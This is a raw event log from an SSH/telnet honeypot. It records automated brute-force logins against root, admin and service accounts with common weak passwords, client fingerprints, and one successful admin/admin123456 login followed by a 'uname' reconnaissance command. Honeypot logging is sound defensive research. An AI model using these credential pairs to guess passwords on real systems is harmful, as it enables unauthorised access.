{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:45.343501Z","src_ip":"77.94.47.83","session":"3569092d99cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danildanil","message":"login attempt [root/danildanil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:45.717709Z","src_ip":"77.94.47.83","session":"3569092d99cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.383881092071533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:46.231362Z","src_ip":"209.127.178.212","session":"71b4afe9d401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:46.845475Z","src_ip":"77.94.47.83","session":"3569092d99cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":44134,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4420c3a70e0","protocol":"ssh","message":"New connection: 192.169.243.246:44134 (10.17.0.5:22) [session: a4420c3a70e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:46.949075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:46.953212Z","src_ip":"192.169.243.246","session":"a4420c3a70e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:47.025384Z","src_ip":"192.169.243.246","session":"a4420c3a70e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57294,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4483cd3f29e","protocol":"ssh","message":"New connection: 192.109.200.237:57294 (159.203.135.109:22) [session: b4483cd3f29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:47.089877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:47.097386Z","src_ip":"192.109.200.237","session":"b4483cd3f29e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:47.181595Z","src_ip":"192.109.200.237","session":"b4483cd3f29e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:47.349793Z","src_ip":"192.169.243.246","session":"a4420c3a70e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:47.436859Z","src_ip":"192.109.200.237","session":"b4483cd3f29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:48.426043Z","src_ip":"192.169.243.246","session":"a4420c3a70e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:48.526053Z","src_ip":"192.109.200.237","session":"b4483cd3f29e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49686,"dst_ip":"159.203.135.109","dst_port":22,"session":"68863f8e28e5","protocol":"ssh","message":"New connection: 192.109.200.237:49686 (159.203.135.109:22) [session: 68863f8e28e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:50.520649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:50.527057Z","src_ip":"192.109.200.237","session":"68863f8e28e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:50.611959Z","src_ip":"192.109.200.237","session":"68863f8e28e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:50.858971Z","src_ip":"192.109.200.237","session":"68863f8e28e5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:51.136253Z","src_ip":"192.109.200.237","session":"68863f8e28e5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:51.140019Z","src_ip":"192.109.200.237","session":"68863f8e28e5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:51.225881Z","src_ip":"192.109.200.237","session":"68863f8e28e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:51.231390Z","src_ip":"192.109.200.237","session":"68863f8e28e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49700,"dst_ip":"159.203.135.109","dst_port":22,"session":"533045a56cb8","protocol":"ssh","message":"New connection: 192.109.200.237:49700 (159.203.135.109:22) [session: 533045a56cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:53.867489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:53.872349Z","src_ip":"192.109.200.237","session":"533045a56cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:53.954941Z","src_ip":"192.109.200.237","session":"533045a56cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:54.212194Z","src_ip":"192.109.200.237","session":"533045a56cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:55.298179Z","src_ip":"192.109.200.237","session":"533045a56cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00278115272522,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:56.588835Z","src_ip":"152.42.224.71","session":"967fc84310a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49704,"dst_ip":"159.203.135.109","dst_port":22,"session":"96c48510b4dc","protocol":"ssh","message":"New connection: 192.109.200.237:49704 (159.203.135.109:22) [session: 96c48510b4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:57.167132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:57.177388Z","src_ip":"192.109.200.237","session":"96c48510b4dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:57.261427Z","src_ip":"192.109.200.237","session":"96c48510b4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.64933252334595,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:57.570235Z","src_ip":"152.42.224.71","session":"ad446d7ffa79","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:57.636530Z","src_ip":"192.109.200.237","session":"96c48510b4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.94250249862671,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:58.488191Z","src_ip":"152.42.224.71","session":"2b1258a548ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:58.722240Z","src_ip":"192.109.200.237","session":"96c48510b4dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36668,"dst_ip":"10.17.0.5","dst_port":23,"session":"7af738039258","protocol":"telnet","message":"New connection: 152.42.224.71:36668 (10.17.0.5:23) [session: 7af738039258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:00.476627Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42102,"dst_ip":"159.203.135.109","dst_port":22,"session":"8058f7e4a6fa","protocol":"ssh","message":"New connection: 192.109.200.237:42102 (159.203.135.109:22) [session: 8058f7e4a6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:00.691494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:00.696959Z","src_ip":"192.109.200.237","session":"8058f7e4a6fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:00.786064Z","src_ip":"192.109.200.237","session":"8058f7e4a6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:01.033082Z","src_ip":"192.109.200.237","session":"8058f7e4a6fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:02.123153Z","src_ip":"192.109.200.237","session":"8058f7e4a6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42116,"dst_ip":"159.203.135.109","dst_port":22,"session":"313c05d600ee","protocol":"ssh","message":"New connection: 192.109.200.237:42116 (159.203.135.109:22) [session: 313c05d600ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:04.012590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:04.030935Z","src_ip":"192.109.200.237","session":"313c05d600ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:04.201710Z","src_ip":"192.109.200.237","session":"313c05d600ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:04.469922Z","src_ip":"192.109.200.237","session":"313c05d600ee","protocol":"ssh"}
